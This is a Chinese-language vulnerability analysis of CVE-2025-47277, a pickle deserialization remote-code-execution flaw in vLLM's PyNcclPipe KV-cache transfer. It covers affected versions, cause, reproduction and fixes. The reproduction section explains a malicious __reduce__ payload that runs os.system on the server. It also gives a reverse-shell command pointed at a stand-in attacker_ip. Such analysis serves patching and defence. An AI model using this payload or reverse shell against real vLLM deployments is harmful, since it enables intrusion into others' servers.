vLLM pickle反序列化漏洞详细分析
漏洞描述
CVE-2025-47277 是 vLLM 项目中的一个 远程代码执行（RCE）漏洞，源于其使用PyNcclPipe模块时，未经验证地反序列化来自网络的数据，攻击者可通过构造恶意 pickle 数据包，在服务器端执行任意代码。该漏洞严重性等级为 Critical。
影响范围
条件 | 说明 |
影响版本 | vLLM >= 0.6.5 且 < 0.8.5 |
影响模块 | VLLMEngineV0 引擎中启用的PyNcclPipe KV 缓存传输机制 |
受影响部署模式 | 多节点分布式部署，KV 节点暴露在公网或未限制访问 |
不受影响 | 使用 VLLMEngineV1、新版 NCCL 后端或未启用 KV 传输的单机部署 |
漏洞环境搭建
可以在本地搭建一个复现环境：
●Python ≥ 3.8
●vLLM == 0.8.3（或受影响版本）
●PyTorch
代码解读
PyNcclPipe：vLLM 的分布式 KV 缓存传输模块，用于节点之间传输 tensor 数据。
KVTransferConfig：用于配置 KV 缓存传输参数，例如端口、IP、rank 等
kv_ip：本地监听 IP，接收其他节点发来的 tensor 数据。127.0.0.1 代表只监听本地（攻击时需开放公网 IP）。
kv_port：网络监听端口（服务端口），攻击者通过该端口发送恶意数据。
kv_rank：当前节点在分布式系统中的编号，0 表示主节点。
kv_parallel_size：并行传输的节点数量，这里设为 1，表示单连接通信。
kv_buffer_size：每次接收 tensor 的 buffer 大小。
kv_buffer_device：buffer 存储设备，设为 "cpu" 表示张量数据缓存在 CPU 上。
创建一个 PyNcclPipe 对象，它封装了底层 TCP 通信逻辑，用于从其他节点接收数据。local_rank=0 表示当前节点在通信中的本地编号。
这是漏洞的触发点！recv_tensor() 内部会调用 recv_obj() 来从 socket 中接收序列化对象。
漏洞分析
成因点 | 描述 |
不安全反序列化 | recv_obj()中使用pickle.loads()对用户发送的序列化数据直接反序列化，无身份校验或数据校验。 |
网络暴露配置缺陷 | PyTorch 的TCPStore默认监听0.0.0.0，vLLM 用户配置--kv-ip也未能强制绑定私有 IP。 |
内网信任假设过强 | vLLM 设计默认内网环境可信，缺乏防御恶意内部节点或入侵者横向移动的保护措施。 |
在pynccl_pipe.py中调用了recv_obj()方法
而recv_obj()方法中刚好对传入的字符串进行pickle反序列化
漏洞复现
攻击脚本
代码分段解读：
这里引入 StatelessProcessGroup，这是 vLLM 中用于节点间通信的一个工具类，封装了 TCP 通信逻辑。
这是攻击的核心：
__reduce__() 是 Python pickle 模块在反序列化对象时调用的特殊方法。它的返回值告诉 pickle.loads() 如何还原一个对象。这里它返回的是 (os.system, ('whoami',))，反序列化时会执行 os.system('whoami')。这里可以把 'whoami' 换成任意命令，例如 bash -i >& /dev/tcp/attacker_ip/port 0>&1 以反弹 shell。
这行代码创建了一个客户端通信节点：host：目标服务监听地址（本地测试用 127.0.0.1），port：目标服务监听端口（通常为服务端的 KV 服务端口），rank：当前通信节点的编号（1 表示攻击节点），world_size：分布式训练的总节点数（2 表示 2 个节点通信）
这个接口实际上是将攻击者作为一个“合法”节点加入通信组。
通过 send_obj() 向 rank=0 的节点发送序列化后的 Evil 对象。服务端在执行 recv_obj() 时，会执行 pickle.loads() 对这个对象反序列化。从而触发 Evil.__reduce__()，间接调用 os.system('whoami')。
运行后，目标机器会执行whoami命令，在实战环境下可以反弹shell
漏洞修复
vLLM 在 0.8.5 版本中已修复此漏洞：
修复内容：
● 强制TCPStore使用指定私有地址进行绑定（防止监听所有接口）
● 改进通信逻辑，防止未经校验的pickle.loads被直接调用
防护建议：
●升级 vLLM 至 ≥ 0.8.5
● 使用防火墙阻止来自不受信任源的连接（如仅允许 10.x 或 192.168.x IP）
● 切换到 V1 引擎，其不使用该模块
● 使用安全消息格式（如 JSON、protobuf），禁止pickle用于跨网络通信
参考文章
●github.com：https://github.com/vllm-project/vllm/security/advisories/GHSA-hjq4-87xh-g4fv
●github.com：https://github.com/vllm-project/vllm/pull/15988
●github.com：https://github.com/vllm-project/vllm/commit/0d6e187e88874c39cda7409cf673f9e6546893e7
●docs.vllm.ai：https://docs.vllm.ai/en/latest/deployment/security.html